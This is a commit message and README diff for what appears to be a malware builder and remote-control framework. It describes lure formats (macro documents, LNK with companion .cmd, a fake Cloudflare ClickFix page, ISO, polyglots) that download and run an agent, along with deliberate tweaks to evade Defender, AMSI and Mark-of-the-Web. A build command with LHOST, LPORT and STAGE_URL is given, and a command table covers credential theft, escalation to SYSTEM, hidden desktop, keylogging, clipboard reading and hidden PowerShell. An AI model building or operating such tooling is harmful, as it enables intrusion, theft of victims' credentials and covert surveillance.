wrappers: move lnk chain to companion .cmd (av fastpath flags any lnk-launched curl cmdline), chr-encode vba cradles for amsi/content scans, fluid clickfix layout, decoy pdf body text; docs: comment cleanup across sources (stale/duplicate/verbose), readme corrections (polyglot_exe_zip stage_url, full command table)

README.md

@@ -60,26 +60,27 @@ dependencies.
 - `docm` - Word macro document; `Document_Open` shells a hidden cmd/curl download-and-run
 - `xlsm` - Excel macro workbook; `Workbook_Open` shells a hidden cmd/curl download-and-run
 - `pptm` - PowerPoint macro deck; `Auto_Open` shells a hidden cmd/curl download-and-run
-- `lnk` - shortcut; a conhost-wrapped cmd/curl chain opens a decoy PDF, then fetches and runs the agent
+- `lnk` - shortcut plus companion `.cmd`; the LNK probes Downloads/Desktop for the `.cmd`, which opens a decoy PDF then fetches and runs the agent (the chain lives in the `.cmd` because Defender's FastPath flags any LNK-launched curl download cmdline)
 - `pdf` - agent embedded as a PDF attachment, launched on open
 - `html` - OneDrive-style page; the agent hides in a zip blob behind a button click
 - `clickfix_html` - fake Cloudflare "Verify you are human" page; checking the box copies a cmd/curl download-and-run command to the clipboard and shows the Win+R / Ctrl+V / Enter steps
 - `iso` - ISO with the agent inside, sidesteps MOTW
-- `polyglot_exe_zip` - runs as an exe, opens as a zip holding a `document.pdf.lnk`
+- `polyglot_exe_zip` - runs as an exe, opens as a zip holding a `document.pdf.lnk` and its companion `.cmd`
 - `polyglot_html` - runs as an exe, shows a decoy page in a browser
 
 ```powershell
 python setup.py -t tcp LHOST=10.0.0.5 LPORT=4444 -p docm,iso -o misery STAGE_URL=http://10.0.0.5:8080/misery.exe
 ```
 
-`-p all` builds every format. The macro, lnk, and clickfix formats fetch the
-agent from `STAGE_URL` when the target opens them; pdf, html, iso, and the
-polyglots carry the agent themselves. The macro files ship with decoy
-content, and the lnk/pdf formats show a decoy document, so they read as
+`-p all` builds every format. The macro, lnk, clickfix, and polyglot_exe_zip
+formats fetch the agent from `STAGE_URL` when the target opens them; pdf, html,
+iso, and polyglot_html carry the agent themselves. The macro files ship with
+decoy content, and the lnk/pdf formats show a decoy document, so they read as
 normal business documents instead of empty templates.
 
-The lnk fetches its decoy PDF from the same directory as `STAGE_URL`, so host
-the generated `<out>.decoy.pdf` next to the agent.
+The lnk and polyglot_exe_zip fetch their decoy PDF from the same directory as
+`STAGE_URL`, so host the generated `<out>.cmd` and `<out>.decoy.pdf` next to
+the agent.
 
 Delivery note: browsers tag downloaded files with the Mark-of-the-Web
 (Zone.Identifier), which trips SmartScreen on macros and executables. Extract
@@ -99,8 +100,10 @@ pip install pyopenvba pylnk3 pycdlib pikepdf python-docx openpyxl python-pptx
 
 | Command | What it does |
 | --- | --- |
+| `bot` | list bots; `bot <id>` targets one, `bot all` broadcasts |
 | `steal` | run credential and session harvesting |
-| `elevate` | silently relaunch the agent as admin; the new instance registers as `elevated` |
+| `loot` | dump the last steal result JSON raw to the terminal |
+| `elevate [system]` | relaunch the agent as admin; `system` chains to SYSTEM |
 | `hvnc start` / `hvnc stop` | start or stop the hidden desktop session |
 | `hvnc launch [path]` | launch an app (default Chrome) on the hidden desktop |
 | `hvnc quality [10-100]` | set streamed frame JPEG quality |
@@ -109,6 +112,8 @@ pip install pyopenvba pylnk3 pycdlib pikepdf python-docx openpyxl python-pptx
 | `ghost stop` | stop the ghost session |
 | `keylog` | toggle the keylogger |
 | `clip` | read the victim's clipboard |
+| `shell / ps <cmd>` | run a hidden PowerShell one-liner on the agent |
+| `history` | show command history |
 | `clear` / `exit` | clear the terminal / quit |
 
 ## Build